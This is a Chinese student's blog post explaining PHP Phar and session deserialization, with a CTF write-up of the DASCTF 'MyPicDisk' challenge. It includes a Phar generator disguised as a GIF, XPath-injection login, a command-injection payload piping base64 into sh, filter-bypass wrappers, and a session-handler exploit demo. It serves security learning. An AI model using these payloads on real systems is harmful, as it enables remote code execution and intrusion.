前言

随着学习向前,遇到的新知识点,也就是对以前反序列化学习的内容补充

PHP Phar反序列化

什么是Phar

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

在了解原理之前,我们查询了一下官方手册,手册里针对 phar:// 这个伪协议是这样介绍的。

Phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar归档文件提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中。此外,PHP可以像在命令行上和从Web服务器上的任何其他文件一样轻松地执行phar存档。 Phar有点像PHP应用程序的拇指驱动器。(译文)

简单理解 phar:// 就是一个类似 file:// 的流包装器,它的作用可以使得多个文件归档到统一文件,并且在不经过解压的情况下被php所访问,并且执行。

phar文件的结构:

大体来说 Phar 结构由4部分组成

stub :phar文件标识

<?php
  Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。比如

setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub

a manifest describing the contents 压缩文件信息,phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

image-20230731211723572

the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

image-20230731212134417

签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名 更换签名的脚本(别的师傅的)

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

Phar反序列化

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

利用条件

1、phar文件能够上传至服务器 
//即要求存在file_get_contents()、fopen()这种函数
​
2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"
​
3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化
​
4、php.ini中的phar.readonly选项,需要为Off(默认是on)。

如果题目限制了,phar://不能出现在头几个字符。可以用Bzip / Gzip协议绕过。

$filename = 'compress.zlib://phar://phar.phar/test.txt';
- `compress.bzip2://phar://`
- `compress.zlib://phar:///`
- `php://filter/resource=phar://`

虽然会警告但仍会执行,它同样适用于compress.bzip2:// 当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,极大的拓展了反序列化攻击面。

Phar属于伪协议,伪协议使用较多的是一些文件操作函数,如fopen()copy()file_exists()等,具体如下图,也就是下面的函数如果参数可控可以造成Phar反序列化

fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() 
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() 
filesize() is_dir() scandir() rmdir() highlight_file()

生成脚本,设置stub的地方可以改成别的,为的就是绕过检测,这里改成GIF89a是gif的文件头,当过滤了phar,我们就可以通过这种伪造将phar文件后缀改成gif来上传最后访问也可以识别

<?php
class TestObject {
}//根据题目构造
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->name='<?php phpinfo();?>';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

在生成的phar文件里我们也都可以找到我们构造的内容

赛题复现

MyPicDisk(DASCTF 2023 & 0X401七月暑期挑战赛)

image-20230731203725155

登录进去构造万能密码,同时禁用js

image-20230731203820758

下载看源码(重要的地方我标注出来了)

<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);//我们可以执行命令的地方,但是没有unserialize()
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
    echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
    $xml = simplexml_load_file('/tmp/secret.xml');
    if($_POST['submit']){
        $username=$_POST['username'];
        $password=md5($_POST['password']);
        $x_query="/accounts/user[username='{$username}' and password='{$password}']";//可以xPath注入得到密码
        $result = $xml->xpath($x_query);
        if(count($result)==0){
            echo '登录失败';
        }else{
            $_SESSION['user'] = $username;
            echo "<script>alert('登录成功!');location.href='/index.php';</script>";
        }
    }
}
else{
    if ($_SESSION['user'] !== 'admin') {//我们要以admin的身份登录不然session会重置
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
    echo "<!-- /y0u_cant_find_1t.zip -->";
    if (!$_GET['file']) {
        foreach (scandir(".") as $filename) {
            if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
                echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
            }
        }
        echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
        if ($_FILES['file']) {//一些过滤
            $filename = $_FILES['file']['name'];
            if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
                die("hacker!");
            }
            if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
                echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
            } else {
                die('failed');
            }
        }
    }
    else{
        $filename = $_GET['file'];
        if ($_GET['todo'] === "md5"){
            echo md5_file($filename);//可以触发phar反序列化
        }
        else {
            $file = new FILE($filename);
            if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
                echo "<img src='../" . $filename . "'><br>";
                echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
                echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
            } else if ($_GET['todo'] === "remove") {
                $file->remove();
                echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
            } else if ($_GET['todo'] === "show") {
                $file->show();
            }
        }
    }
}
?>
</body>
</html>

思路就很明显了

方法一:

我们首先通过xpath盲注得到admin密码,然后再构造phar文件,通过md5_file()触发pahr反序列化

密码:15035371139image-20230731204447104

生成phar文件

<?php
class FILE{
    public $filename;
    public function remove(){
        unlink($this->filename);
    }
​
​
}//根据题目构造
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new FILE();
$o->filename=';echo bHMgLw==|base64 -d|sh';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

image-20230731210122052

后缀改为gif,上传

image-20230731205716016

使用phar协议以及触发file_md5()函数

payload:?file=phar://phar.gif&todo=md5

image-20230731205808826

Getflag

image-20230731205924391

方法二:

image-20230731212234982

直接拼接不细讲了

Session反序列化

什么是Session

Session是一次浏览器和服务器的交互的会话 ,会话是什么?就是How are you?I'm fine,Thank you。就是一次会话,那么对话完成后,这次会话相当于就结束了,但为什么会出现Session会话呢?因为我们用浏览器访问网站用的是http协议,http协议是一种无状态的协议,就是说它不会储存任何东西,每一次的请求都是没有关联的,无状态的协议好处就是快速;但它也有不方便的地方,比如说我们在login.php登录了,我们肯定希望在index.php中也是登录的状态,否则我们登录还有什么意义呢?但前面说到了http协议是无状态的协议,那访问两个页面就是发起两个http请求,他们俩之间是无关联的,所以无法单纯的在index.php中读取到它在login.php中已经登陆了的;为了解决这个问题,cookie就诞生了,cookie是把少量数据存在客户端,它在一个域名下是全局的,相当于php可以在这个域名下的任何页面读取cookie信息,那只要我们访问的两个页面在同一个域名下,那就可以通过cookie获取到登录信息了;但这里就存在安全问题了,因为cookie是存在于客户端的,那用户就是可见的,并且可以随意修改的;那如何又要安全,又可以全局读取信息呢?这时候Session就出现了,其实它的本质和cookie是一样的,只不过它是存在于服务器端的

关于Session的一些机制

默认是没有session的,首先是打开session,php语句是session_start();首先来看看session_start()

image-20230728105300711

这个函数的返回值是布尔型,既不会成功也不会报错,它的作用是打开Session,并且随机生成一个32位的session_id,session的全部机制也是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的:

可以看到我标注出来的两个部分我认为是重点

一步一步来

首先看看session的生成

image-20230728105329054

这里可以看出session_id()这个系统方法是输出了本次生成的session_id,并且存入了COOKIE中,参数名为PHPSESSID,这两个值是相同的,而且只要浏览器一直不关,无论刷新多少次它的值都是不变的,但当你关掉浏览器之后它就消失了,重新打开之后会生成一个新的session_id,session_id就是用来标识一个用户的,就像是一个人的身份证一样

再来看看关于session的一些配置

image-20230728105354443

PHP session在phpinfo中主要存在以下配置项:

  • session.gc_divisor php session垃圾回收机制相关配置

  • session.sid_bits_per_character 指定编码的会话ID字符中的位数

  • session.save_path="" 该配置主要设置session的存储路径

  • session.save_handler="" 该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

  • session.use_strict_mode 严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID

  • session.use_cookies 指定是否在客户端用 cookie 来存放会话 ID,默认启用

  • session.cookie_secure 指定是否仅通过安全连接发送 cookie,默认关闭

  • session.use_only_cookies 指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击

  • session.name 指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

  • session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

  • session.cookie_lifetime 指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0

  • session.cookie_path 指定要设置会话cookie 的路径,默认为 /

  • session.cookie_domain 指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名

  • session.cookie_httponly 将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用

  • session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述

  • session.gc_probability 该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率

  • session.gc_divisor 该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率

  • session.gc_maxlifetime 指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probabilitysession.gc_divisor

  • session.referer_check 包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串

  • session.cache_limiter 指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache

  • session.cache_expire 以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180

  • session.use_trans_sid 指定是否启用透明 SID 支持。默认禁用

  • session.sid_length 配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。

  • session.trans_sid_tags 指定启用透明sid支持时重写哪些HTML标签以包括会话ID

  • session.trans_sid_hosts 指定启用透明sid支持时重写的主机,以包括会话ID

  • session.sid_bits_per_character 配置编码的会话ID字符中的位数

  • session.upload_progress.enabled 启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。

  • session.upload_progress.cleanup 读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

  • session.upload_progress.prefix 配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_

  • session.upload_progress.name $ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS

  • session.upload_progress.freq 定义应该多长时间更新一次上传进度信息

  • session.upload_progress.min_freq 更新之间的最小延迟

  • session.lazy_write 配置会话数据在更改时是否被重写,默认启用

session反序列化中的重点就是保存的路径 session.save_path=和session.serialize_handler

首先看看刚在我们session_start()开启的id

image-20230728105422383

image-20230728105442760

有但是内容是空的

我们直接改session值看看会发生什么

image-20230728105532491

image-20230728105540257

image-20230728105552426

会发现同步都会更改,现在里面的内容是空,再看看向里写入内容是什么结果

image-20230728105801769

image-20230728105814551

发现成功写进去了,它的内容就是将键值对序列化之后的结果

总结一下大致过程就是:

HTTP请求一个页面后,如果用到开启session,会去读COOKIE中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入COOKIE中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取session变量的时候,先会读取COOKIE中的PHPSESSID,获得session_id,然后再去找这个sess_session_id文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_idsess_session_id这个文件。

同时也发现了这个特殊的序列化格式

在这之前就要看看session.serialize_handler中定义的三种序列化/反序列化的处理器

处理器名称

存储格式

php

键名 + 竖线 + 经过serialize()函数序列化处理的值(默认使用)

php_binary

键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值

php_serialize

经过serialize()函数序列化处理的数组(php>5.5.4)

php

<?php
highlight_file(__FILE__);
session_start();
ini_set('session.serialize_handler','php');
$_SESSION['test']='sessiontest';
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

image-20230728110547738

由于是默认的,所以也就是一开始我们看到的,键名 + 竖线 + 经过serialize()函数序列化处理的值

php_binary

<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['testtesttesttesttesttesttesttesttest']='sessiontest';
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

image-20230728110652783

image-20230728110826693

这个处理器的格式是键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理后的值(会出现不可见字符)

36对应的就是$

php_serialize

<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['testseri']='sessiontest';
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

image-20230728111103197

这个的格式是直接进行序列化,把session中的键和值都会被进行序列化操作,然后把它当成一个数组返回回来

php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。原理就在php处理器写入时的格式为键名+竖线|+经过serialize()序列化处理后的值那它读取时,肯定就会以竖线|作为一个分隔符,前面的为键名,后面的为键值,然后将键值进行反序列化操作;而php_serialize处理器是直接进行序列化,然后返回序列化后的数组,那我们在传入的序列化内容前加一个分隔符|,从而正好序列化我们传入的内容

简单Demo

定义一个session.php文件,用于传入 session值,文件内容如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = '';
?>

存在另一个class.php 文件,内容如下:

<?php
    error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
    class Test{
    public $name = 'Nbc';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $a = new Test();
 ?>

这两个文件的作用很清晰,session.php文件的处理器是php_serializeclass.php文件的处理器是phpsession.php文件的作用是传入可控的 session值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。

这两个文件如果想要利用,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发漏洞。

payload

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Test{
    public $name = 'Nbc';
    function __wakeup(){
        echo "Who are you?";
    }
    function __destruct(){
        echo '<br>'.$this->name;
    }
}
$a = new Test();
$a->name = "Hack";
echo serialize($a);
?>
    //O:4:"Test":1:{s:4:"name";s:4:"Hack";}

image-20230728114238341

image-20230728114344563

再次访问class.php

image-20230728114420326

后记

越学越能意识到php体系的结束才算是入门Web的学习之路。前段时间听了已经工作了的学长们的分享,已经对学习的建议,让我少了许多困惑。

首先,学习的深度一定要有,不能只浮在于表面,要跟随知识点横向竖向拓展,不能学习的时候就按照别的师傅的博客思路走,那么学习收到的成果并不一定很多。想起来我之前跟别人说的话大概是“每天都坐在同一个环境下相同的时间学习,排除个体效率的差异,凭什么比别人强?那么你就要有别人所不具备的,不论是方法还是心态等,但是在这之前,你要做到别人都做到了的”即使是我自己说的,但是果然自己也不一定就悟透了,最基本的我连原话都记的不是那么清,就像读同一本书每次读都有不同的感受一样。

还有就是,专精,要有自己的长处,不能只局限于什么都会一点,那么等于什么都不会,而是要有自己所非常擅长的方向,领域,别人达不到的。

最后就是,少想一点,踏实下来学好自己的方向内容,平院长说的对,想的太多就是选择太多了导致的,至少现在我没必要想这么多,毕竟才算是刚刚入门Web。

参考文章

php反序列化拓展攻击详解--phar

PHP Phar反序列化学习

带你走进PHP session反序列化漏洞

反序列化篇之Session反序列化